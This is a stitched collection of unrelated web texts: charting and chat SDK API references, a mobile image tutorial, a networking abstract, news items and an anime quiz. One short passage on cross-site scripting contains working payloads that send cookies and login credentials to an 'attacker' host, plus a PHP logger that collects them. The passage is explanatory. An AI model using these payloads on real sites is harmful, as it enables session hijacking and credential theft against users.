SChartSeries Class Reference
| Inherits from | NSObject |
| Conforms to | SChartLegendItem |
| Declared in | SChartSeries.h |
| Availability | Standard Premium |
| Related samples |
Overview
SChartSeries manages the display of a data series on a ShinobiChart
. It contains a set of data points.
There are various things which you can do to configure the behavior and appearance of a chart series:
- A series can optionally use animations when it appears and disappears on the chart. You can set whether animation should be enabled, and if so, you can configure the animations which the series uses.
- You can configure whether the series is selectable, and if so, its behavior when it is selected.
- The series contains instances of
SChartSeriesStyle
, or one of its sub-classes, to manage its appearance. Tweaking these style objects allows you to change the look of the series on the chart. - You can update the representation of the series in the chart legend, and whether the chart crosshair is enabled for the series.
We have created sub-classes of SChartSeries for each of the concrete types of chart series which are available on a chart. These are:
SChartLineSeries
draws data points and connects them, in the order given, using a line. The display of individual points may be enabled or disabled as required. Similarly the area fill under the line may be enabled or disabled as required to form area series.
SChartScatterSeries
draws data points independently on the chart, with no connections.
SChartBubbleSeries
draws bubbles that are placed at the x and y values of the data. A third property, Area, controls the magnitude of the bubble at each point. UseSChartBubbleDataPoint
for this series.
SChartColumnSeries
draws data points as vertical columns on the chart.
SChartBarSeries
draws data points as horizontal bars on the chart.
SChartBandSeries
draws two lines (high and low) and can shade the area between them. (Premium Edition only).
SChartCandleStickSeries
draws candlestick data points (Premium Edition only).
SChartOHLCSeries
draws Open High Low Close data points (Premium Edition only).
SChartStepLineSeries
draws a line chart where the connecting line will only travel in a vertical or horizontal direction to connect the data points.
SChartPieSeries
draws data points as pie slices around a central point.
SChartDonutSeries
draws data points as donut slices around a central point.
Series are always drawn in order with the lowest series index first. This means that higher numbered series sit on top and potentially obscure lower numbered series.
More information about using SChartSeries can be found in the user guide.
Tasks
Data and Axis setup
-
dataSeries
propertySChartDataSeries
gives you access to the set of data points in the series. -
– stringForValueWithKey:withDataPoint:usingAxis:
This method returns a string value that will represent the value of a given data point based on its key.
-
– stringForKey:withDataPoint:
This method returns a string value that will represent the key of a given datapoint.
Status
-
orientation
The orientation of the chart axis which is associated with the series.
property -
hidden
Dictates whether or not a series is hidden on the chart.
property -
– xValueKeys
Used for data points which contain multiple values (e.g. OHLC data points). Returns the keys for the x values of the data point.
-
– yValueKeys
Used for data points which contain multiple values (e.g. OHLC data points). Returns the keys for the y values of the data point.
-
– valueKeys
Used for data points which contain values that are independent of axes (e.g. Bubble data points). Returns the keys for the axis independent values of the data point.
-
– comparatorForValueKeys
If the chart ever needs to know about the order in which the value-keys belonging to this series should be used then this method is called for an appropriate comparator.
Animation
-
animationEnabled
Whether entry and exit animations are enabled for this series.
property -
entryAnimation
The animation which describes how the series will enter the chart.
property -
exitAnimation
The animation which describes how the series will exit the chart.
property
Selection Options
-
selectionMode
Defines what should be selected when the user taps the chart.
property -
toggleSelection
Dictates whether the chart should allow other series to be selected simultaneously.
property -
togglePointSelection
Dictates whether the series should only allow only one selected point at a time.
property -
selected
Whether or not the series is selected
property
Crosshair
-
crosshairEnabled
Display a tooltip with connecting lines after the user taps-and-holds.
property -
– primarySeriesColorForDatapoint:
Extracts the predominant color of the series for a specified datapoint.
Styling
-
_style
Manages the appearance of the chart series on the chart.
property -
_selectedStyle
Manages the appearance of the chart series when it is selected.
property
Legend Display Options
-
title
The title of the series to be displayed in the legend.
property -
showInLegend
Whether or not the series should be represented in the legend
property -
legendItem
The object responsible for providing the title and
propertySChartLegendSymbol
item for representing this symbol in the legend.
Drawing
-
– shouldBeDrawn
DEPRECATED - Use the
hidden
property instead. -
– centreXOfDataPointAtIndex:onChart:
Returns, in data terms, the x component of the point upon which the datapoint at the given index is centered.
-
– centreYOfDataPointAtIndex:onChart:
Returns, in data terms, the y component of the point upon which the datapoint at the given index is centered.
-
– widthOfDataPointAtIndex:onChart:
Returns the width, in data terms, of the datapoint at the given index.
-
– heightOfDataPointAtIndex:onChart:
Returns the width, in data terms, of the datapoint at the given index.
Subclassing
-
– resetForReuse
Resets the chart series for reuse when the data in the chart is reloaded.
Data Bins
-
numberOfDataPointsPerBin
The number of datapoints that are rendered in a single pass. As render passes are expensive, this defaults to the number of datapoints in this series (this is only populated after a data load).
property
Properties
_selectedStyle
Manages the appearance of the chart series when it is selected.
@property (nonatomic, retain) SChartSeriesStyle *_selectedStyle
Discussion
Style settings in this object will be applied when the series is marked as selected (or a point is selected).
The default settings of the style are inherited from the chart theme. You can tweak the appearance of the series by modifying the style.
See Also
Declared In
SChartSeries.h
_style
Manages the appearance of the chart series on the chart.
@property (nonatomic, retain) SChartSeriesStyle *_style
Discussion
The default settings of the style are inherited from the chart theme. You can tweak the appearance of the series by modifying the style.
See Also
Declared In
SChartSeries.h
animationEnabled
Whether entry and exit animations are enabled for this series.
@property (nonatomic) BOOL animationEnabled
Discussion
If this is set to YES
, the series will animate in and out using its entryAnimation and exitAnimation animation properties.
If this is set to NO
, the series will appear and disappear instantly, with no animation.
By default, this property is set to NO
- animation disabled.
Warning: Currently, animation is not supported on radial series (SChartRadialLineSeries).
Declared In
SChartSeries.h
crosshairEnabled
Display a tooltip with connecting lines after the user taps-and-holds.
@property (nonatomic) BOOL crosshairEnabled
Discussion
For line series, the tooltip will appear on the nearest series and interpolate values between data points. For column/bar series the crosshair will snap to the nearest column or bar. Once a crosshair is visible it is locked to that current series. It will ignore other series until it is dismissed and re-established on a different series. To dismiss the crosshair the user performs a single tap on the chart. By default, this property is set to NO
.
Warning: Currently, animation is not supported on radial series (SChartRadialLineSeries).
Declared In
SChartSeries.h
dataSeries
SChartDataSeries
gives you access to the set of data points in the series.
@property (nonatomic, retain) SChartDataSeries *dataSeries
Discussion
It contains the data values only, it is not concerned with the appearance of the series on the chart. The data series is provided to allow you to query the data values in the series, you should not try and use this to modify the series. If you wish to modify the data in the series, you should update the chart datasource, and then call [ShinobiChart reloadData]
.
Declared In
SChartSeries.h
entryAnimation
The animation which describes how the series will enter the chart.
@property (retain, nonatomic) SChartAnimation *entryAnimation
Discussion
The chart series will enter when the chart is first drawn, or when its hidden
property is set to NO
(having previously been YES
).
See SChartAnimation
for more details.
Declared In
SChartSeries.h
exitAnimation
The animation which describes how the series will exit the chart.
@property (retain, nonatomic) SChartAnimation *exitAnimation
Discussion
The chart series will exit the chart when its hidden
property is set to YES
(having previously been NO
).
See SChartAnimation
for more details.
Declared In
SChartSeries.h
hidden
Dictates whether or not a series is hidden on the chart.
@property (nonatomic) BOOL hidden
Discussion
If the hidden
property of a chart series is set to YES
, then the series will not be drawn on the chart.
If this property is set to NO
, the series will be drawn as usual.
By default, this property is set to NO
.
Declared In
SChartSeries.h
legendItem
The object responsible for providing the title and SChartLegendSymbol
item for representing this symbol in the legend.
@property (nonatomic, assign) id<SChartLegendItem> legendItem
Discussion
By default, this property is set to the series itself.
Declared In
SChartSeries.h
numberOfDataPointsPerBin
The number of datapoints that are rendered in a single pass. As render passes are expensive, this defaults to the number of datapoints in this series (this is only populated after a data load).
@property (nonatomic, retain) NSNumber *numberOfDataPointsPerBin
Discussion
Note that if your use-cases makes heavy use of appending and/or removing datapoints, then you may want to lower this, so a smaller “bin” / fewer datapoints need to be re-rendered per append/remove.
Declared In
SChartSeries.h
orientation
The orientation of the chart axis which is associated with the series.
@property (nonatomic, assign) SChartSeriesOrientation orientation
Discussion
It is defined as follows:
- SChartSeriesOrientationHorizontal: Configures the orientation of the chart axis which is associated with the series to be horizontal. Thus the controlled variable will be drawn on the x-axis, while the measured variable will be drawn on the y-axis.
- SChartSeriesOrientationVertical: Configures the orientation of the chart axis which is associated with the series to be vertical. Thus the controlled variable will be drawn on the y-axis, while the measured variable will be drawn on the x-axis.
For example, the orientation for column series is SChartSeriesOrientationHorizontal, and the orientation for bar series is SChartSeriesOrientationVertical.
Declared In
SChartSeries.h
selected
Whether or not the series is selected
@property (nonatomic, assign) BOOL selected
Declared In
SChartSeries.h
selectionMode
Defines what should be selected when the user taps the chart.
@property (nonatomic) SChartSelection selectionMode
Discussion
This property defines how the series will respond when a tap gesture indicates a point on this series.
The selection modes are defined as follows:
- SChartSelectionNone: Configures this series to select nothing when it is tapped.
- SChartSelectionPoint: Configures this series to select a point when it is tapped.
- SChartSelectionSeries: Configures this series to select the series when it is tapped.
There is an important effect of choosing SChartSelectionNone
- this option will remove this series from the algorithm that searches for the nearest point to the tap. Hence, a user may tap near to this series - but the algorithm will select a different series based upon its proximity.
Warning: Currently selection isn’t supported for radial series (SChartRadialLineSeries). Furthermore, selection is handled seperately for pie/donut series - selectionMode
, toggleSelection
, and togglePointSelection
are only applicable to cartesian series.
Declared In
SChartSeries.h
showInLegend
Whether or not the series should be represented in the legend
@property (nonatomic, assign) BOOL showInLegend
Discussion
By default, this property is set to YES
.
Declared In
SChartSeries.h
title
The title of the series to be displayed in the legend.
@property (nonatomic, retain) NSString *title
Declared In
SChartSeries.h
togglePointSelection
Dictates whether the series should only allow only one selected point at a time.
@property (nonatomic) BOOL togglePointSelection
Discussion
If this is set to NO
, the series will de-select all other points in this series before selecting the tapped point. Setting YES
will allow multiple points to be selected (“toggled”) as they are tapped. NOTE: This is per series and will allow multiple points to be selected across series regardless of value. To enable single point selection across all of the series for the chart, use the chart delegate.
By default, this property is set to NO
.
Declared In
SChartSeries.h
toggleSelection
Dictates whether the chart should allow other series to be selected simultaneously.
@property (nonatomic) BOOL toggleSelection
Discussion
If this is set to NO
, the chart will de-select all other series before selecting the tapped series. Setting YES
will allow multiple series to be selected (“toggled”) as they are tapped.
By default, this property is set to NO
.
Declared In
SChartSeries.h
Instance Methods
centreXOfDataPointAtIndex:onChart:
Returns, in data terms, the x component of the point upon which the datapoint at the given index is centered.
- (id)centreXOfDataPointAtIndex:(NSInteger)index onChart:(ShinobiChart *)chart
Discussion
Warning: Currently, this method is not supported on radial series (SChartRadialLineSeries).
Declared In
SChartSeries.h
centreYOfDataPointAtIndex:onChart:
Returns, in data terms, the y component of the point upon which the datapoint at the given index is centered.
- (id)centreYOfDataPointAtIndex:(NSInteger)index onChart:(ShinobiChart *)chart
Discussion
Warning: Currently, this method is not supported on radial series (SChartRadialLineSeries).
Declared In
SChartSeries.h
comparatorForValueKeys
If the chart ever needs to know about the order in which the value-keys belonging to this series should be used then this method is called for an appropriate comparator.
- (NSComparator)comparatorForValueKeys
Discussion
For example, an SChartCrosshairMultiValueTooltip needs to know the order in which to display its dictionary of key-value pairs.
Declared In
SChartSeries.h
heightOfDataPointAtIndex:onChart:
Returns the width, in data terms, of the datapoint at the given index.
- (id)heightOfDataPointAtIndex:(NSInteger)index onChart:(ShinobiChart *)chart
Discussion
Warning: Currently, this method is not supported on radial series (SChartRadialLineSeries).
Declared In
SChartSeries.h
primarySeriesColorForDatapoint:
Extracts the predominant color of the series for a specified datapoint.
- (UIColor *)primarySeriesColorForDatapoint:(id<SChartData>)datapoint
Parameters
- datapoint
The datapoint for which we want to retrieve the primary color
Return Value
The primary color associated with the specfied datapoint
Declared In
SChartSeries.h
resetForReuse
Resets the chart series for reuse when the data in the chart is reloaded.
- (void)resetForReuse
Discussion
By default, this clears the data points in the chart series, while leaving the styling, animation and any other series properties intact. If you subclass SChartSeries, you should add any custom implementation you require to the subclass.
Declared In
SChartSeries.h
shouldBeDrawn
DEPRECATED - Use the hidden
property instead.
- (BOOL)shouldBeDrawn
Discussion
Whether or not the series should be drawn on the chart.
Declared In
SChartSeries.h
stringForKey:withDataPoint:
This method returns a string value that will represent the key of a given datapoint.
- (NSString *)stringForKey:(NSString *)key withDataPoint:(id<SChartData>)dataPoint
Parameters
- key
The key that needs a string representation.
- dataPoint
The data point that the key corresponds to.
Return Value
A string that will be used to represent the given key for a data point.
Discussion
The multi value tooltip uses this method to decide what string to use in its labels for the key of a given datapoint.
Declared In
SChartSeries.h
stringForValueWithKey:withDataPoint:usingAxis:
This method returns a string value that will represent the value of a given data point based on its key.
- (NSString *)stringForValueWithKey:(NSString *)key withDataPoint:(id<SChartData>)dataPoint usingAxis:(SChartAxis *)axis
Parameters
- key
The key that corresponds to the value needing a string representation.
- dataPoint
The data point that the value corresponds to.
- The
axis that the value corresponds to, where
nil
represents an axis independent value.
Return Value
A string that will be used to represent a value for a data point.
Discussion
This relies on the data point responding to the appropriate optional method (sChartValueForKey:, sChartXValueForKey: or sChartYValueForKey:).
Declared In
SChartSeries.h
valueKeys
Used for data points which contain values that are independent of axes (e.g. Bubble data points). Returns the keys for the axis independent values of the data point.
- (NSArray *)valueKeys
Declared In
SChartSeries.h
widthOfDataPointAtIndex:onChart:
Returns the width, in data terms, of the datapoint at the given index.
- (id)widthOfDataPointAtIndex:(NSInteger)index onChart:(ShinobiChart *)chart
Discussion
Warning: Currently, this method is not supported on radial series (SChartRadialLineSeries).
Declared In
SChartSeries.h


The most popular CSS/XSS attack (and devastating) is the harvesting of authentication cookies and session management tokens. With this information, it is often a trivial exercise for an attacker to hijack the victims active session, completely bypassing the authentication process.
The simplest jump point is JavaScript code to redirect a page. With this method variables accessible only under that document may be sent to a payload page:
document.location.replace('http://attacker/payload?c='+document.cookie);
The code below logs the visitor IP, referrer, and a cookie value stored in “c”:
<?php
$f = fopen(“log.txt”, “a”);
fwrite($f, “IP: {$_SERVER[‘REMOTE_ADDR’]} Ref: {$_SERVER
[‘HTTP_REFERER’]} Cookie: {$HTTP_GET_VARS[‘c’]}\n”);
fclose($f);
?>
Jump code may be formed to exploit the weak password management system and send clear text logins and passwords to the payload script.
<form name=form1 method=POST action=”http://host/script” onSubmit=”document.location.replace('http://attacker/payload?u='+document.form1.username.value+'&p='+document.form1.password.value)”>
<input type=text name=username>
<input type=password name=password>
</form>
<script>form1.submit()</script>


Images and ImageView APIs
Objective
By now in this course, you've used images at least a few times. In this chapter, we'll dig a bit deeper into the ways you can add local and remote images to your apps as either background images or ImageViews.
Contents
You can display images in your apps in at least two ways: as instances of the ImageView object or as the background of another component. We'll look at both techniques as well as the options associated with each.
Background images
You can specify an image be used as the background of another component, such as a view or button. By default, image will be scaled (stretched or squeezed) to fit the dimensions of the component. Any other content of that component will appear in front of the background image. For example, button text will appear over the top of the background.
When the background image is larger than the component, it will be squeezed to fit the component's dimensions. Both platforms handle that in essentially the same way, as you can see in the red images in the graphic below. But iOS and Android handle background images differently when they're smaller than the component. Look carefully at the following image. Overlaid on top, you see the original small PNG image that is used as the background if the view with the four Xs. In that view, on Android the background image is stretched to fit the width of the component. On iOS, a small portion of the left and right of the image remain un-stretched while the remainder is stretched to fill the width.
On iOS, you can control this "small portion" that remains unstretched. You do so by setting the backgroundLeftCap property. It works like this: End caps specify the portion of an image that should not be resized when an image is stretched. Resizing occurs only in the middle of the button, in the region between the end caps. The end caps themselves keep their original size and appearance. The value of this property specifies the size of the left end cap. The middle (stretchable) portion is assumed to be 1 pixel wide. The right end cap is therefore computed by adding the size of the left end cap and the middle portion together and then subtracting that value from the width of the image.
You can control vertical stretching in this way with the backgroundTopCap property. Again, that works on only iOS.
Android supports remote images as background images. On Android, you can set the backgroundImage property equal to a URL and the image will be displayed (assuming a network connection is available). That's not the case on iOS.
The ImageView
The ImageView is Titanium's component for representing an image file. You create one with the Ti.UI.createImageView() method. With this component, you have full control over dimensions, positioning, opacity, and more. The ImageView has a number of interesting methods, such as show() and hide(), start() and stop(), and toImage().
var myImage = Ti.UI.createImageView({
width:100,
height:100
image:'foo.png' /* accepts URL, local path, or Ti.Filesystem.File */
});
/*
// this would work:
myImage.image = 'http://example.com/foo.png'
// set myImage.defaultImage = 'localFoo.png' to show an image while the remote one is loading
// as would
myImage.image = Ti.Filesystem.getFile(Ti.Filesystem.resourcesDirectory,'foo.png');
*/
If you specify a width and/or height property on the image, the image will be scaled to fit according to these considerations:
-
If the ImageView's height or width are larger than the image's actual dimensions, the image will be enlarged proportionally to fit the smaller of those dimensions. The graphic's aspect ratio will not be altered.
-
If ImageView's height or width are smaller than the graphic's dimensions, the image will be shrunk proportionally to fit. Again, the aspect ratio won't be changed.
Flipbook animations
You can display flipbook-style animations with the ImageView by assigning an array of images to the images property.
// from the Kitchen Sink, examples/image_view_animated.js
var images = [];
for (var i=1;i<18;i++) {
images.push('../images/campFire' + ((i<10)?'0'+i:i)+'.gif');
}
var imageView = Titanium.UI.createImageView({
images:images,
duration:100, // in milliseconds, the time before next frame is shown
repeatCount:0, // 0 means animation repeats indefinitely, use > 1 to control repeat count
top:0
});
// imageView.stop() would stop the animation
// imageView.start() would start the animation again
Density-specific images
On the iPhone, you have two display densities to deal with: the original iPhone/iPod density and the double-density "retina" displays. The retina displays, featured on the iPhone 4 and presumably newer models has twice the DPI of the earlier displays. Following Apple's scheme, retina images are named to match their non-retina counterparts, with "@2x" appended to the name. In your code, though, you don't worry about that suffix.
var img = Ti.UI.createImageView({
image: 'logo.png'
/*<EMAIL_ADDRESS>will be used automatically if it exists on iPhone 4 & iPad devices */
});
On iOS, you can retrieve resolution-specific images from a remote URL as well. Use the same naming scheme as described here. You can add the hires=true property to your ImageView to specify that the remote URL is a high-resolution image. Set the defaultImage property equal to a local image and it will be displayed while your remote image is being downloaded.
Android has quite a few more resolutions and screen sizes to deal with. See the Android Overview chapter for more info on that. To support these screen variations, Titanium uses a set of directories as shown here:
You'd put your resolution-specific files in the appropriate directories. Then, in code you'd simply refer via the base name, as shown above for iPhone. Titanium will take care of pulling in the correct image for the device in use. You need worry about these various resolutions only if you want pixel perfection. You can also tell Android to simply scale your UI to the device's screen, which will scale your images as well.
References
-
API Docs - ImageView object
Summary
In this chapter, you learned how to add local and remote images to your apps. You saw that you can display images as instances of the ImageView object or as the background of another component. You also learned how to handle density-specific images on iOS and Android.


In this work, we propose a Geometric Sequence Technique (GST) for effective RTO estimation in CoAP. CoAP uses a fixed RTO value with BEB in case of retransmissions. Two new techniques, namely Fullbackoff1 variant and Fullbackoff2 variant are proposed to improve the RTO estimation in CoAP. These techniques do not use RTT measurements; hence, the working of original CoAP algorithm remains largely unaffected. Unlike CoAP, both variants avoid resetting the RTO immediately after receiving an ACK for the retransmitted packet. GST is a simple enhancement to the Fullbackoff2 variant. GST retains the previous RTO value after having received the ACK for the retransmitted packet and eventually returns to the default value by decreasing the RTO depending on the number of consecutive successful transmissions. Our work shows that GST minimizes the Flow Completion Times (FCT), reduces the number retransmissions and improves the network throughput.


Creating Variables and Using Data Types in Python
Creating Variables in Python:
How to create variables in python:
- Variable names are lower cased, words separated by underscores, and can include numbers as the first letter.
- We create variables by setting some word(s) equal (=) to a value
- Once we set this variable equal to a value in our script, python will do all the work and assign a data type to this newly created variable.
A note on some data types available to us:
Talking through data types:
- In python we have various different data types which hold different types of values.
- In this example, we're talking about strings, different number types, and bools, but there are plenty more.
- Data types are automatically created by the python back end whenever we create the variables in the script. All we have to do is create the value of the variable, python will look at this value, and create a data type is thinks is best fitting to that value
- We can control this python inferrence however, by using casting. This is just declaring the values data type whenever we create the variable or after variable creation for mutable objects.
Project videos using this concept:
{% endblock %}


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Attention Deficit (Hyperactive) Disorder, more commonly known as ADHD, has been known and talked about since the early 1900s, but there still lies a heavy stigma on both children and adults who live with the condition. At InFocus, we strive to break the stereotypes and lift these individuals up by raising awareness of what ADHD is really like, beyond just "bouncing off the walls" and "can't pay attention", offering plenty of sourced, up-to-date information as well as toys and tools to help ADHD individuals succeed in every aspect of their lives.
Whether you're looking for information for yourself, or a loved one with ADHD, or if you're just curious and passing by - take a look through our webpage and learn all about ADHD, the effects it has on our population, our tips and tricks for coping, our products, and much more.


EOxServer is a Python application and framework for presenting Earth Observation (EO) data and metadata.
EOxServer implements the OGC Implementation Specifications EO-WCS, EO-WMS and WPS on top of MapServer's WCS and WMS implementations.
EOxServer is released under the EOxServer Open License a MIT-style license and written in Python and entirely based on Open Source software including MapServer, Django/GeoDjango, GDAL, SpatiaLite, or PostGIS, and PROJ.4.


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When you add great talent to your business, you add lots of value too and one of the big advantages of our pricing model for you, is that you pay nothing unless we find the right person for you and they join your team. Below, you can read a little bit more about how pricing works and you can also review your pricing options with us.
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Abducted medical doctor regains freedom in Delta - The Nation Newspaper
by https://www.facebook.com/CheerfulpraiseElo Edremoda, Warri
The abducted medical doctor of Delta State University Teaching Hospital (DELSUTH), Oghara, Jerry Isogun, has regained freedom from the hands of his kidnappers.
The Nation learnt that the medical practitioner was released about 8pm on Thursday.
An undisclosed sum of money was said to have been paid to the hoodlums to secure his release.
Sources at the hospital confirmed the development Friday morning.
According to them, the abductors reportedly dumped him in a bush near Eku in Ethiope East council area of the state.
It was further learnt that the medical doctor is receiving treatment for injuries sustained during the ordeal at DELSUTH.
The Delta state Commissioner of Police, Mr Adeyinka Adeleke, also confirmed the development when contacted on Friday.
Confirming the release, the state commissioner of police, Adeleke, said “Yes, he (Isogun) has been released. He was released last night.”
Isogun who is president of the Resident Doctors of DELSUTH was reportedly kidnapped late Wednesday on his way home from work.


If you don't periodically restore from your backup socks, you don't really have a backup sock plan. #bikeops ☔🚲
12/5/2014, 9:24:46 AM
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If you don't periodically restore from your backup socks, you don't really have a backup sock plan. #bikeops ☔🚲
12/5/2014, 9:24:46 AM
Favs: 0
Retweets: 0
link


Mr. Beep Boop is an advanced robot who you can count on and he can count on you! Well, he can count to as high as the number you provide, at least. Not only that, Mr. Beep Boop gets bored with simple counting and will replace certain numbers with phrases—how fun!
Can't get enough Mr. Beep Boop? Try the advanced features to add your own phrase replacements.


Watch The Hilarious Moment Akuapem Poloo’s Wig Fell Off While Dancing With Cardi B (+Video)
by vanessa nordziControversial Screen goddess Rosemond Brown popularly known as Akuapem poloo finally had her prayers of meeting with American pop star Cardi B answered when the latter was in Ghana yesterday 8th December 2019.
Cardi B was slated to have a meet and greet session with some Ghanaian celebrities at 2:30 pm yesterday ahead of her stadium concert but things didn’t go as planned.
This caused the celebrities to take to social media to vent out their displeasure of waiting in vain for the American star. The likes of Afia Schwarzenegger, Hajia4real amongst others took a swipe at Cardi B for keeping them waiting while eating Khebab.
Cardi B finally came out to meet with the celebrities and apologized for keeping them waiting explaining that she was not in the known that she had a meet and greet session.
As predictable as Akuapem poloo is, she didn’t hold back in showing off her twerking skills to Cardi B who joined her in dancing.
As the dancing was going on, Akuapem poloo’s wig came off and she quickly took it and run off causing a loud laughter among the audience present.
Well the most important thing is, Akuapem poloo finally had the chance to meet her mentor.
Watch the hilarious video below:


Ready?
1
2
3
4
5
6
7
8
9
10
1
1
Rory Mercury - 'Gate'
Age 961
2
2
Kinue Hayase -'Masamune-kun's Revenge'
Age 42
3
3
Eisaku Noguchi -'March Comes In Like A Lion'
Age 15
4
4
4
4
Honey Ouran - 'High school host club'
Age 18
5
5
Jibril -'No Game No Life'
Age 6407
6
6
6
Rukia Kuchiki -'Bleach'
Age 150
7
7
7
Holo -'Spice and Wolf'
Age 600
8
8
Sasami -'Tenchi Muyo'
Age 708
9
9
Tsunade -'Naruto'
Age 51
10
10
Arumi Asahina -'Abenobashi'
Age 12
There's going to be a list of 10 shows
There's going to be 10 pairs of quotes
See a pair of quotes
Write down which show they're from
...
Ready?
| Acchi Kocchi | K-ON! |
| Eden of the East | Legend of the Galactic Heroes |
| Fairy Tale | Nichijou |
| Gintama | One Piece |
| Hayate the Combat Butler | Daily Lives of High School Boys |
Question 1
“I’ve always wanted someone to ask me ‘Would you like fries with that?’”
“Oh my god! He’s deflowering my guitar!”
Question 2
“He’s cleaning our floors. That fiend!”
“Shoot her to death, without killing her!”
Question 3
“I wonder if nipples grow back.”
“Panties are the symbol of happiness.”
Question 4
“Look, my hand’s a hook. I can only be a pirate or a coat hanger now.”
“Anime staff! You think you can get away with such laziness?!”
Question 5
“The Earth must be becoming tsundere.”
“Fine, I’ll step aside for today, but I’ll bring a stronger hamster next time!”
Question 6
“There there. Your stomach sounds pretty cute, so don’t be embarrassed by it.”
“Stop! Santa’s HP is already 0.”
Question 7
“We’re all dragon slayers and yet, why am I the only one without a cat?”
“Wow, that’s the first time a house ever waved at me.”
Question 8
“I want to be an onion.”
“Arriving by goat doesn’t violate school policy!”
Question 9
“I remember having amnesia.”
“It’s soaked up various manly fluids, including but not limited to sweat and tears.”
Question 10
“The right to violate the rights of the people belongs to the people.”
“Alcohol is humanity’s friend.”
K-ON!
One Piece
Daily Lives of High School Boys
Gintama
Hayate the Combat Butler
Acchi Kocchi
Fairy Tail
Nichijou
Eden of the East
Legend of the Galactic Heroes
You're gonna see a thing
Write down what it is
Write down which show its from
e.g. "Vegeta's scouter from Dragon Ball Z"
...
Ready?
1
2
3
4
5
6
7
8
9
10
1. Asuna's Lambent Light Sword from SAO
2. Ukitake Juushirou's Zanpakuto from Bleach
3. Gate Keys of Celestial Spirits from Fairy Tail
4. Excalibur from Fate
5. Reverse Blade Sword from Rurouni Kenshin
6. 3D Maneuver Gear Sword from Attack on Titan
7. Akame's Murasame Teigu's from Akame Ga Kill
8. Shura Kirigakure's sword from Blue Exorcist
9. Shirou Emiya's sword from Fate Stay Night
10. Sasuke Uchiha's sword from Naruto
You'll see a summary
Then write down what show its a summary of
...
Ready?
1.
2. DEVIL IS A PART TIMER!: Very strong guy from another world. Quits conquering his world and starts his career at McDonalds.
3. ONE PUNCH MAN: Bored dude quits job hunt to get ripped, fights random monsters but can't come to terms with being bald.
4. ANGEL BEATS: You’re dead but not dead, and you’re now in highschool, with more not dead “dead” students and filler shadow students til people disappear for no reason.
5. GATE: Staby stabs are defeated by pew pew and kabooms after an invasion of the 3rd largest economy with medieval soldiers and fantasy creatures fails horribly. Follow our noble hero's quest as he continues to accumulate legal Loli.
6. HELLSING: A ozzy osbourne looking mf who takes orders from a chain smoker and has a big titted police girl as his pet fight the church and nazis.
7.
8. KAKEGURUI: in a school where rich people gamble, only one girl truly understands the MONEY SHOT 😉
9. VIOLET EVERGARDEN: Prettiest anime ever about a woman who writes letters, giving people the feels while she learns what feels are.
10. FRUITS BASKET: Girl leave abusive home, camps for a while, then lives with a menagerie.
You're gonna see a mashup of anime and non-anime shows
Write down the 2 shows this is a mashup of
If you're salty about non-anime stuff in your anime quizz
Know that even though I am not there
Your anger nourishes me
...
Ready?
1
2
3
4
5
6
7
8
9
10
1
1
Dragon Ball Z
Winnie The Pooh
2
2
Full Metal Alchemist
Frozen
3
3
Attack on Titan
Fantasia
4
4
Sailor Moon
Disney Princesses Dream Time
5
5
Gurren Lagann
Toy Story
6
6
Naruto
King of the Hill
7
7
My Neighbour Totoro
Big Hero 6
8
8
Kill la Kill
Frozen
9
9
Fist of the North Star
Chip 'N Dale
10
10
JoJo's Bizzare Adventure
Alice in Wonderland
Move on


Namespaces
Methods
-
staticQB.chat.connect(params, callback)
modules/chat/qbChat.js, line 657 -
self.connection to the chat. More info.
Name Type Description params
Object Connect to the chat parameters Name Type Description userId
Number Connect to the chat by user id (use instead params.email and params.jid) jid
String Connect to the chat by user jid (use instead params.userId and params.email) email
String Connect to the chat by user's email (use instead params.userId and params.jid) password
String The user's password or session token callback
chatConnectCallback The chatConnectCallback callback -
staticQB.chat.disconnect()
modules/chat/qbChat.js, line 1212 -
Logout from the Chat. More info.
-
staticQB.chat.getLastUserActivity(jid_or_user_id)
modules/chat/qbChat.js, line 1181 -
Send query to get last user activity by QB.chat.onLastUserActivityListener(userId, seconds). More info.
Name Type Description jid_or_user_id
Number | String The user id or jid, that the last activity we want to know -
staticQB.chat.onConfirmSubscribeListener(userId)
modules/chat/qbChat.js, line 242 -
Receive confirm request. More info.
Name Type Description userId
Number The sender ID -
staticQB.chat.onContactListListener(userId, type)
modules/chat/qbChat.js, line 227 -
Receive user status (online / offline). More info.
Name Type Description userId
Number The sender ID type
String If user leave the chat, type will be 'unavailable' -
staticQB.chat.onDeliveredStatusListener(messageId, dialogId, userId)
modules/chat/qbChat.js, line 178 -
Receive delivery confirmations More info.
Name Type Description messageId
String Delivered message id dialogId
String The dialog id userId
Number User id -
staticQB.chat.onDisconnectedListener()
modules/chat/qbChat.js, line 264 -
Run after disconnect from chat. More info.
-
staticQB.chat.onJoinOccupant(dialogId, userId)
modules/chat/qbChat.js, line 211 -
You will receive this callback when some user joined group chat dialog you are in.
Name Type Description dialogId
String An id of chat dialog that user joined. userId
Number An id of user who joined chat dialog. -
staticQB.chat.onKickOccupant(dialogId, initiatorUserId)
modules/chat/qbChat.js, line 203 -
You will receive this callback when you are in group chat dialog(joined) and other user (chat dialog's creator) removed you from occupants.
Name Type Description dialogId
String An id of chat dialog where you was kicked from. initiatorUserId
Number An id of user who has kicked you. -
staticQB.chat.onLastUserActivityListener(userId, seconds)
modules/chat/qbChat.js, line 256 -
Receive user's last activity (time ago). More info.
Name Type Description userId
Number The user's ID which last activity time we receive seconds
Number Time ago (last activity in seconds or 0 if user online or undefined if user never registered in chat) -
staticQB.chat.onLeaveOccupant(dialogId, userId)
modules/chat/qbChat.js, line 219 -
You will receive this callback when some user left group chat dialog you are in.
Name Type Description dialogId
String An id of chat dialog that user left. userId
Number An id of user who left chat dialog. -
staticQB.chat.onMessageErrorListener(messageId, error)
modules/chat/qbChat.js, line 153 -
Blocked entities receive an error when try to chat with a user in a 1-1 chat and receivie nothing in a group chat. More info.
Name Type Description messageId
Number The message id error
Object The error object -
staticQB.chat.onMessageListener(userId, message)
modules/chat/qbChat.js, line 145 -
You need to set onMessageListener function, to get messages. More info.
Name Type Description userId
Number Sender id message
Object The message model object -
staticQB.chat.onMessageTypingListener(isTyping, userId, dialogId)
modules/chat/qbChat.js, line 169 -
Show typing status in chat or groupchat. More info.
Name Type Description isTyping
Boolean Typing Status (true - typing, false - stop typing) userId
Number Typing user id dialogId
String The dialog id -
staticQB.chat.onReadStatusListener(messageId, dialogId, userId)
modules/chat/qbChat.js, line 187 -
You can manage 'read' notifications in chat. More info.
Name Type Description messageId
String Read message id dialogId
String The dialog id userId
Number User Id -
staticQB.chat.onReconnectListener()
modules/chat/qbChat.js, line 270 -
By default Javascript SDK reconnects automatically when connection to server is lost. More info.
-
